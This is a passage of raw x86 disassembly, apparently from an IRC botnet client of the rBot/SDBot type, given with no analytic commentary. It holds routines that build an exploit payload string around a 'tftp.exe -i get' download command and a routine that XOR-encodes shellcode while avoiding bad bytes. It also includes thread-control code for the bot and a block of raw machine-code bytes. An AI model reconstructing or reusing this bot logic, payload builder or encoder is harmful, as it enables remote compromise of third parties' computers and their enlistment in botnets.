		mov	esi, offset dword_431614


loc_40AD8A:				; CODE XREF: ___:0040AD25j
					; ___:0040AD2Cj ...
		mov	edi, [ebp+8]
		push	esi
		push	offset dword_43160C
		push	1Ch
		push	edi
		call	sub_41C100
		xor	esi, esi
		add	esp, 10h
		cmp	dword_429094, esi
		jle	short loc_40ADCE


loc_40ADA8:				; CODE XREF: ___:0040ADCCj
		call	sub_41C062
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B8A0
		push	1Ch
		push	edi
		call	sub_41C100
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429094
		jl	short loc_40ADA8


loc_40ADCE:				; CODE XREF: ___:0040ADA6j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40ADD4	proc near		; CODE XREF: sub_40AE77+5Cp

var_1C		= byte ptr -1Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	esi
		call	near ptr 26A0729h
		nop
		xor	edx, edx
		mov	ecx, 5265C00h
		div	ecx
		push	0
		push	offset aMirc_0	; "mIRC"
		mov	esi, eax
		cmp	esi, 64h
		jbe	short loc_40AE23
		call	dword_4C9310
		test	eax, eax
		mov	eax, offset dword_43163C
		jnz	short loc_40AE0C
		mov	eax, offset byte_43B4B8


loc_40AE0C:				; CODE XREF: sub_40ADD4+31j
		push	eax
		push	esi
		push	offset dword_431634
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		call	sub_41C100
		add	esp, 14h
		jmp	short loc_40AE43
; ---------------------------------------------------------------------------


loc_40AE23:				; CODE XREF: sub_40ADD4+22j
		call	dword_4C9310
		test	eax, eax
		mov	eax, offset dword_43163C
		jnz	short loc_40AE37
		mov	eax, offset byte_43B4B8


loc_40AE37:				; CODE XREF: sub_40ADD4+5Cj
		push	eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41C006
		pop	ecx
		pop	ecx


loc_40AE43:				; CODE XREF: sub_40ADD4+4Dj
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_41B960
		pop	ecx
		cmp	eax, 2
		pop	esi
		jbe	short loc_40AE72
		push	1Ch
		lea	eax, [ebp+var_1C]
		push	[ebp+arg_0]
		push	eax
		call	sub_41C950
		lea	eax, [ebp+var_1C]
		push	1Ch
		push	eax
		push	[ebp+arg_0]
		call	sub_41BD70
		add	esp, 18h


loc_40AE72:				; CODE XREF: sub_40ADD4+7Dj
		mov	eax, [ebp+arg_0]
		leave
		retn
sub_40ADD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE77	proc near		; CODE XREF: sub_4017E7+7Fp
					; sub_40194F+50p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		xor	edi, edi
		mov	esi, offset dword_42D92C


loc_40AE83:				; CODE XREF: sub_40AE77+3Fj
		cmp	[ebp+arg_C], 0
		jz	short loc_40AE9E
		lea	eax, [esi-0Ch]
		push	eax
		push	[ebp+arg_C]
		call	sub_41C7E0
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_40AEA8
; ---------------------------------------------------------------------------


loc_40AE9E:				; CODE XREF: sub_40AE77+10j
		mov	ecx, [esi]
		xor	eax, eax
		cmp	ecx, [ebp+arg_4]
		setz	al


loc_40AEA8:				; CODE XREF: sub_40AE77+25j
		test	eax, eax
		jnz	short loc_40AEBA
		add	esi, 14h
		inc	edi
		cmp	esi, offset off_42D9B8
		jl	short loc_40AE83
		jmp	short loc_40AEC8
; ---------------------------------------------------------------------------


loc_40AEBA:				; CODE XREF: sub_40AE77+33j
		push	[ebp+arg_0]
		lea	eax, [edi+edi*4]
		call	off_42D930[eax*4]
		pop	ecx


loc_40AEC8:				; CODE XREF: sub_40AE77+41j
		cmp	[ebp+arg_8], 0
		pop	edi
		pop	esi
		jz	short loc_40AEDB
		push	[ebp+arg_0]
		call	sub_40ADD4
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_40AEDB:				; CODE XREF: sub_40AE77+57j
		mov	eax, [ebp+arg_0]
		pop	ebp
		retn
sub_40AE77	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 0B8h
		push	ebx
		push	esi
		lea	eax, [ebp-0B8h]
		push	edi
		push	eax
		mov	edi, offset byte_43B4B8
		mov	dword ptr [ebp-0B8h], 94h
		nop
		call	near ptr 26E0636h
		cmp	dword ptr [ebp-0B4h], 4
		push	0Ah
		pop	ebx
		jnz	short loc_40AF5A
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40AF3B
		cmp	dword ptr [ebp-0A8h], 1
		jnz	short loc_40AF2B
		mov	edi, offset dword_431630


loc_40AF2B:				; CODE XREF: ___:0040AF24j
		cmp	dword ptr [ebp-0A8h], 2
		jnz	short loc_40AF96
		mov	edi, offset dword_43162C
		jmp	short loc_40AF96
; ---------------------------------------------------------------------------


loc_40AF3B:				; CODE XREF: ___:0040AF1Bj
		cmp	[ebp-0B0h], ebx
		jnz	short loc_40AF4A
		mov	edi, offset dword_431628
		jmp	short loc_40AF96
; ---------------------------------------------------------------------------


loc_40AF4A:				; CODE XREF: ___:0040AF41j
		cmp	dword ptr [ebp-0B0h], 5Ah
		jnz	short loc_40AF91
		mov	edi, offset dword_431624
		jmp	short loc_40AF96
; ---------------------------------------------------------------------------


loc_40AF5A:				; CODE XREF: ___:0040AF12j
		cmp	dword ptr [ebp-0B4h], 5
		jnz	short loc_40AF91
		cmp	dword ptr [ebp-0B0h], 0
		jnz	short loc_40AF73
		mov	edi, offset dword_431620
		jmp	short loc_40AF96
; ---------------------------------------------------------------------------


loc_40AF73:				; CODE XREF: ___:0040AF6Aj
		cmp	dword ptr [ebp-0B0h], 1
		jnz	short loc_40AF83
		mov	edi, offset dword_43161C
		jmp	short loc_40AF96
; ---------------------------------------------------------------------------


loc_40AF83:				; CODE XREF: ___:0040AF7Aj
		cmp	dword ptr [ebp-0B0h], 2
		mov	edi, offset dword_431694
		jz	short loc_40AF96


loc_40AF91:				; CODE XREF: ___:0040AF51j
					; ___:0040AF61j
		mov	edi, offset dword_431690


loc_40AF96:				; CODE XREF: ___:0040AF32j
					; ___:0040AF39j ...
		lea	eax, [ebp-0A4h]
		push	offset word_4C91BC
		push	eax
		call	sub_41C7E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40AFB4
		mov	esi, offset dword_43168C
		jmp	short loc_40B02F
; ---------------------------------------------------------------------------


loc_40AFB4:				; CODE XREF: ___:0040AFABj
		lea	eax, [ebp-0A4h]
		push	offset a1	; "1"
		push	eax
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFD2
		mov	esi, offset sub_431688
		jmp	short loc_40B02F
; ---------------------------------------------------------------------------


loc_40AFD2:				; CODE XREF: ___:0040AFC9j
		lea	eax, [ebp-0A4h]
		push	offset dword_431684
		push	eax
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AFF0
		mov	esi, offset dword_431680
		jmp	short loc_40B02F
; ---------------------------------------------------------------------------


loc_40AFF0:				; CODE XREF: ___:0040AFE7j
		lea	eax, [ebp-0A4h]
		push	offset dword_43167C
		push	eax
		call	sub_41C080
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40B00E
		mov	esi, offset dword_431678
		jmp	short loc_40B02F
; ---------------------------------------------------------------------------


loc_40B00E:				; CODE XREF: ___:0040B005j
		lea	eax, [ebp-0A4h]
		push	offset dword_431674
		push	eax
		call	sub_41C080
		pop	ecx
		mov	esi, offset dword_431670
		test	eax, eax
		pop	ecx
		jnz	short loc_40B02F
		mov	esi, offset off_43166C


loc_40B02F:				; CODE XREF: ___:0040AFB2j
					; ___:0040AFD0j ...
		lea	eax, [ebp-0Ch]
		or	dword ptr [ebp-4], 0FFFFFFFFh
		push	eax
		or	dword ptr [ebp-8], 0FFFFFFFFh
		or	dword ptr [ebp-0Ch], 0FFFFFFFFh
		lea	eax, [ebp-8]
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	0
		call	sub_41AD74
		pop	ecx
		push	eax
		call	sub_41CA73
		mov	eax, [ebp-4]
		add	esp, 14h
		cmp	eax, ebx
		jge	short loc_40B079
		push	eax
		push	offset a0D	; "0%d"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41C100
		add	esp, 10h
		jmp	short loc_40B09D
; ---------------------------------------------------------------------------


loc_40B079:				; CODE XREF: ___:0040B062j
		cmp	eax, 64h
		jge	short loc_40B08B
		lea	ecx, [ebp-18h]
		push	ebx
		push	ecx
		push	eax
		call	sub_426642
		jmp	short loc_40B09A
; ---------------------------------------------------------------------------


loc_40B08B:				; CODE XREF: ___:0040B07Cj
		push	offset a99	; "99"
		lea	eax, [ebp-18h]
		push	ebx
		push	eax
		call	sub_41C100


loc_40B09A:				; CODE XREF: ___:0040B089j
		add	esp, 0Ch


loc_40B09D:				; CODE XREF: ___:0040B077j
		nop
		call	near ptr 26A0729h
		push	eax
		call	sub_41C058
		pop	ecx
		lea	eax, [ebp-24h]
		push	ebx
		push	eax
		push	7
		push	800h
		nop
		call	near ptr 26E0000h
		lea	eax, [ebp-18h]
		push	eax
		push	esi
		lea	eax, [ebp-24h]
		push	edi
		mov	edi, [ebp+8]
		push	eax
		push	offset aSSSS	; "%s|%s|%s|%s|"
		push	1Ch
		push	edi
		call	sub_41C100
		xor	esi, esi
		add	esp, 1Ch
		cmp	dword_429094, esi
		jle	short loc_40B108


loc_40B0E3:				; CODE XREF: ___:0040B106j
		call	sub_41C062
		cdq
		mov	ecx, ebx
		idiv	ecx
		push	edx
		push	edi
		push	offset dword_42B8A0
		push	1Ch
		push	edi
		call	sub_41C100
		add	esp, 14h
		inc	esi
		cmp	esi, dword_429094
		jl	short loc_40B0E3


loc_40B108:				; CODE XREF: ___:0040B0E1j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40B10F	proc near		; CODE XREF: sub_40B12F+Ap
					; sub_40B207+8p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	[esp+4+arg_0]
		call	sub_41B960
		push	[esp+8+arg_4]
		mov	esi, eax
		call	sub_41B960
		pop	ecx
		lea	eax, [esi+eax*2+0C1h]
		pop	ecx
		pop	esi
		retn
sub_40B10F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B12F	proc near		; CODE XREF: sub_40B21E+49p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		call	sub_40B10F
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		mov	[ebp+var_4], eax
		jbe	short loc_40B14C
		xor	eax, eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_40B14C:				; CODE XREF: sub_40B12F+17j
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_8]
		call	sub_41B960
		push	[ebp+arg_C]
		mov	esi, eax
		call	sub_41B960
		mov	edi, eax
		mov	ebx, [ebp+arg_0]
		push	0FFFFFFEDh
		lea	eax, [edi+esi+12h]
		mov	dword_43172C, eax
		lea	eax, [edi+1]
		mov	dword_43174D, eax
		lea	eax, [edi+17h]
		mov	dword_431745, eax
		pop	eax
		push	74h
		sub	eax, edi
		push	offset dword_4316C8
		push	ebx
		mov	dword_43175B, eax
		call	sub_41CAB0
		push	esi
		lea	eax, [ebx+74h]
		push	[ebp+arg_8]
		push	eax
		call	sub_41CAB0
		add	esi, 74h
		push	5
		push	(offset	aTftp_exeIGet+0Ch)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CAB0
		add	esi, 5
		push	edi
		push	[ebp+arg_C]
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CAB0
		add	esi, edi
		push	10h
		push	(offset	aTftp_exeIGet+11h)
		lea	eax, [esi+ebx]
		push	eax
		call	sub_41CAB0
		add	esp, 44h
		add	esi, 10h
		push	edi
		lea	eax, [esi+ebx]
		push	[ebp+arg_C]
		push	eax
		call	sub_41CAB0
		add	esi, edi
		push	38h
		add	esi, ebx
		push	offset byte_431751
		push	esi
		call	sub_41CAB0
		mov	eax, [ebp+var_4]
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B12F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B207	proc near		; CODE XREF: sub_40B21E+Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_40B10F
		push	eax
		call	sub_40B28B
		add	esp, 0Ch
		retn
sub_40B207	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B21E	proc near		; CODE XREF: sub_40DCEA+32p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_C]
		push	edi
		push	ebx
		call	sub_40B207
		cmp	eax, [ebp+arg_4]
		pop	ecx
		pop	ecx
		ja	short loc_40B23E
		cmp	eax, 0FFFFh
		jbe	short loc_40B242


loc_40B23E:				; CODE XREF: sub_40B21E+17j
		xor	eax, eax
		jmp	short loc_40B287
; ---------------------------------------------------------------------------


loc_40B242:				; CODE XREF: sub_40B21E+1Ej
		push	esi
		push	edi
		push	ebx
		call	sub_40B10F
		add	eax, 101h
		push	eax
		call	sub_41BC9B
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_40B10F
		pop	ecx
		pop	ecx
		push	eax
		push	esi
		call	sub_40B12F
		push	eax
		push	esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40B2A6
		push	esi
		mov	edi, eax
		call	sub_41BA31
		add	esp, 24h
		mov	eax, edi
		pop	esi


loc_40B287:				; CODE XREF: sub_40B21E+22j
		pop	edi
		pop	ebx
		pop	ebp
		retn
sub_40B21E	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B28B	proc near		; CODE XREF: sub_40B207+Ep
					; sub_40B2A6+4Ap

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_40B294
		inc	ecx


loc_40B294:				; CODE XREF: sub_40B28B+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_40B28B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B2A6	proc near		; CODE XREF: sub_40B21E+56p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	byte ptr [ebp+arg_C], 0Ah
		jz	short loc_40B2C2
		cmp	byte ptr [ebp+arg_C], 0Dh
		jz	short loc_40B2C2
		cmp	byte ptr [ebp+arg_C], 5Ch
		jz	short loc_40B2C2
		cmp	byte ptr [ebp+arg_C], 0
		jnz	short loc_40B2C5


loc_40B2C2:				; CODE XREF: sub_40B2A6+8j
					; sub_40B2A6+Ej ...
		inc	[ebp+arg_C]


loc_40B2C5:				; CODE XREF: sub_40B2A6+1Aj
		push	esi
		mov	esi, 0FFh
		cmp	[ebp+arg_C], esi
		jbe	short loc_40B2ED
		mov	eax, [ebp+arg_C]
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_40B2E6
		cmp	al, 0Dh
		jz	short loc_40B2E6
		cmp	al, 5Ch
		jz	short loc_40B2E6
		test	al, al
		jnz	short loc_40B2ED


loc_40B2E6:				; CODE XREF: sub_40B2A6+32j
					; sub_40B2A6+36j ...
		add	[ebp+arg_C], 100h


loc_40B2ED:				; CODE XREF: sub_40B2A6+28j
					; sub_40B2A6+3Ej
		push	[ebp+arg_C]
		call	sub_40B28B
		cmp	eax, [ebp+arg_4]
		pop	ecx
		mov	[ebp+var_4], eax
		ja	short loc_40B305
		cmp	eax, 0FFFFh
		jbe	short loc_40B30C


loc_40B305:				; CODE XREF: sub_40B2A6+56j
		xor	eax, eax
		jmp	loc_40B3AA
; ---------------------------------------------------------------------------


loc_40B30C:				; CODE XREF: sub_40B2A6+5Dj
		mov	ecx, [ebp+arg_C]
		push	ebx
		mov	bl, byte_4C9448
		xor	edx, edx
		push	edi
		mov	edi, [ebp+arg_8]
		test	ecx, ecx
		jbe	short loc_40B33C


loc_40B320:				; CODE XREF: sub_40B2A6+94j
		mov	al, [edx+edi]
		xor	al, bl
		jz	short loc_40B333
		cmp	al, 0Ah
		jz	short loc_40B333
		cmp	al, 0Dh
		jz	short loc_40B333
		cmp	al, 5Ch
		jnz	short loc_40B337


loc_40B333:				; CODE XREF: sub_40B2A6+7Fj
					; sub_40B2A6+83j ...
		inc	bl
		xor	edx, edx


loc_40B337:				; CODE XREF: sub_40B2A6+8Bj
		inc	edx
		cmp	edx, ecx
		jb	short loc_40B320


loc_40B33C:				; CODE XREF: sub_40B2A6+78j
		cmp	ecx, esi
		mov	byte_4C9448, bl
		ja	short loc_40B368
		push	15h
		push	offset loc_4316B0
		push	[ebp+arg_0]
		mov	byte_4316BD, cl
		mov	byte_4316C1, bl
		call	sub_41CAB0
		add	esp, 0Ch
		push	15h
		jmp	short loc_40B389
; ---------------------------------------------------------------------------


loc_40B368:				; CODE XREF: sub_40B2A6+9Ej
		push	17h
		push	offset loc_431698
		push	[ebp+arg_0]
		mov	word_4316A6, cx
		mov	byte_4316AB, bl
		call	sub_41CAB0
		add	esp, 0Ch
		push	17h


loc_40B389:				; CODE XREF: sub_40B2A6+C0j
		xor	eax, eax
		pop	ecx
		cmp	[ebp+arg_C], eax
		jbe	short loc_40B3A5
		mov	edx, [ebp+arg_0]
		lea	esi, [ecx+edx]


loc_40B397:				; CODE XREF: sub_40B2A6+FDj
		mov	cl, [eax+edi]
		xor	cl, bl
		mov	[esi+eax], cl
		inc	eax
		cmp	eax, [ebp+arg_C]
		jb	short loc_40B397


loc_40B3A5:				; CODE XREF: sub_40B2A6+E9j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	ebx


loc_40B3AA:				; CODE XREF: sub_40B2A6+61j
		pop	esi
		leave
		retn
sub_40B2A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B3AD	proc near		; CODE XREF: ___:00401596p
					; ___:004015D2p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset dword_43C040


loc_40B3B5:				; CODE XREF: sub_40B3AD+18j
		cmp	byte ptr [eax],	0
		jz	short loc_40B3C9
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4C9040
		jl	short loc_40B3B5
		jmp	short loc_40B414
; ---------------------------------------------------------------------------


loc_40B3C9:				; CODE XREF: sub_40B3AD+Bj
		push	esi
		mov	esi, edi
		imul	esi, 234h
		push	1FFh
		push	[esp+0Ch+arg_0]
		lea	eax, dword_43C040[esi]
		push	eax
		call	sub_41BD70
		mov	eax, [esp+14h+arg_4]
		add	esp, 0Ch
		mov	dword_43C240[esi], eax
		and	dword_43C244[esi], 0
		mov	eax, [esp+8+arg_8]
		and	dword_43C248[esi], 0
		mov	dword_43C24C[esi], eax
		and	byte_43C258[esi], 0
		pop	esi


loc_40B414:				; CODE XREF: sub_40B3AD+1Aj
		mov	eax, edi
		pop	edi
		retn
sub_40B3AD	endp

; ---------------------------------------------------------------------------
dword_40B418	dd 81EC8B55h, 98ECh, 8458B00h, 266A5756h, 8DF08B59h, 0FFFF68BDh
					; DATA XREF: sub_401AC7+292Co
		dd 0FFA5F3FFh, 80C7F075h, 94h, 1, 0FF6C858Dh, 75FFFFFFh
		dd 0B5FF50F4h, 0FFFFFF68h, 15E8h, 0EC75FF00h, 26CE8h, 14C48300h
		dd 0E890006Ah, 22E4B98h, 8B555E5Fh, 0EC81ECh, 56000002h
		dd 0FF006A57h, 8C681075h, 0FF004317h, 75FF0C75h, 0E3D8E808h
		dd 0C483FFFFh, 0BEFF3314h, 43C040h, 74003E80h, 147D833Ch
		dd 83097500h, 204BEh, 2D750000h, 858D5756h, 0FFFFFE00h
		dd 42C54868h, 4BE85000h, 6A00010Bh, 858D01h, 0FFFFFFFEh
		dd 0FF501075h, 75FF0C75h, 0E390E808h, 0C483FFFFh, 34C68124h
		dd 47000002h, 9040FE81h, 0B07C004Ch, 0C3C95E5Fh

; =============== S U B	R O U T	I N E =======================================



sub_40B4E8	proc near		; CODE XREF: sub_401AC7+79C4p
					; sub_40B576+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_40B570
		cmp	esi, 400h
		jge	short loc_40B570
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43C254[esi]
		lea	edi, dword_43C254[esi]
		nop
		call	near ptr 26A07C0h
		cmp	[edi], ebx
		jz	short loc_40B520
		push	1
		pop	ebp


loc_40B520:				; CODE XREF: sub_40B4E8+33j
		mov	[edi], ebx
		lea	edi, dword_43C248[esi]
		mov	dword_43C240[esi], ebx
		mov	dword_43C244[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_40B541
		push	eax
		call	sub_419EB7
		pop	ecx


loc_40B541:				; CODE XREF: sub_40B4E8+50j
		mov	[edi], ebx
		lea	edi, dword_43C24C[esi]
		mov	byte ptr dword_43C040[esi], bl
		mov	byte_43C258[esi], bl
		push	dword ptr [edi]
		call	dword_4C939C
		lea	esi, dword_43C250[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_4C939C
		mov	[esi], ebx
		pop	edi


loc_40B570:				; CODE XREF: sub_40B4E8+Dj
					; sub_40B4E8+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40B4E8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B576	proc near		; CODE XREF: sub_40111D+18p
					; ___:loc_4017D3p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43C040


loc_40B582:				; CODE XREF: sub_40B576+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_40B593
		push	edi
		call	sub_40B4E8
		test	eax, eax
		pop	ecx
		jz	short loc_40B593
		inc	ebx


loc_40B593:				; CODE XREF: sub_40B576+Fj
					; sub_40B576+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_4C9040
		jl	short loc_40B582
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_40B576	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B5A8	proc near		; CODE XREF: sub_401AC7+41B3p
					; sub_401AC7+4300p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43C244


loc_40B5BC:				; CODE XREF: sub_40B5A8+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_40B5DE
		test	edi, edi
		jle	short loc_40B5D0
		cmp	[esi], edi
		jz	short loc_40B5D0
		cmp	ebx, edi
		jnz	short loc_40B5DE


loc_40B5D0:				; CODE XREF: sub_40B5A8+1Ej
					; sub_40B5A8+22j
		push	ebx
		call	sub_40B4E8
		test	eax, eax
		pop	ecx
		jz	short loc_40B5DE
		inc	[ebp+var_4]


loc_40B5DE:				; CODE XREF: sub_40B5A8+1Aj
					; sub_40B5A8+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_4C9244
		jl	short loc_40B5BC
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40B5A8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B5F5	proc near		; CODE XREF: ___:0040162Ap
					; sub_401AC7+955p ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43C240


loc_40B5FC:				; CODE XREF: sub_40B5F5+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_40B605
		inc	eax


loc_40B605:				; CODE XREF: sub_40B5F5+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_4C9240
		jl	short loc_40B5FC
		retn
sub_40B5F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B614	proc near		; CODE XREF: sub_401AC7+23C3p

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43C240


loc_40B61E:				; CODE XREF: sub_40B614+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_40B637
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_4C9240
		jl	short loc_40B61E
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40B637:				; CODE XREF: sub_40B614+10j
		mov	eax, edx
		pop	esi
		retn
sub_40B614	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B63B	proc near		; CODE XREF: sub_401AC7+1230p
					; sub_401AC7+124Ep ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_40B654
		push	[ebp+arg_1C]
		call	sub_41BEF9
		pop	ecx


loc_40B654:				; CODE XREF: sub_40B63B+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_40B5A8
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_40B680
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s %s	stopped. (%d thread(s) stopped.)"
		push	eax
		call	sub_41C006
		add	esp, 14h
		jmp	short loc_40B69A
; ---------------------------------------------------------------------------


loc_40B680:				; CODE XREF: sub_40B63B+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s No	%s thread found."
		push	eax
		call	sub_41C006
		add	esp, 10h


loc_40B69A:				; CODE XREF: sub_40B63B+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_40B6BA
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409862
		add	esp, 14h


loc_40B6BA:				; CODE XREF: sub_40B63B+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_415CEE
		pop	ecx
		leave
		retn
sub_40B63B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B6C9	proc near		; CODE XREF: sub_4017E7+159p
					; ___:0040BCF6p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43C254[eax], ecx
		mov	dword_43C240[eax], ecx
		mov	dword_43C244[eax], ecx
		mov	dword_43C248[eax], ecx
		mov	dword_43C24C[eax], ecx
		mov	dword_43C250[eax], ecx
		mov	byte ptr dword_43C040[eax], cl
		mov	byte_43C258[eax], cl
		retn
sub_40B6C9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40B706	proc near		; CODE XREF: sub_401AC7+7C27p
					; sub_40B834+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_40B710:				; CODE XREF: sub_40B706+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_40B770
		cmp	eax, 1
		jnz	short loc_40B770
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_40B770
		cmp	cl, 2Ah
		jz	short loc_40B757
		cmp	cl, 3Fh
		jz	short loc_40B73A
		cmp	cl, 5Bh
		jz	short loc_40B73F
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_40B73A:				; CODE XREF: sub_40B706+26j
		inc	[ebp+arg_4]
		jmp	short loc_40B76A
; ---------------------------------------------------------------------------


loc_40B73F:				; CODE XREF: sub_40B706+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_40B79C
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_40B76A
; ---------------------------------------------------------------------------


loc_40B757:				; CODE XREF: sub_40B706+21j
		lea	eax, [ebp+arg_4]
		push	eax
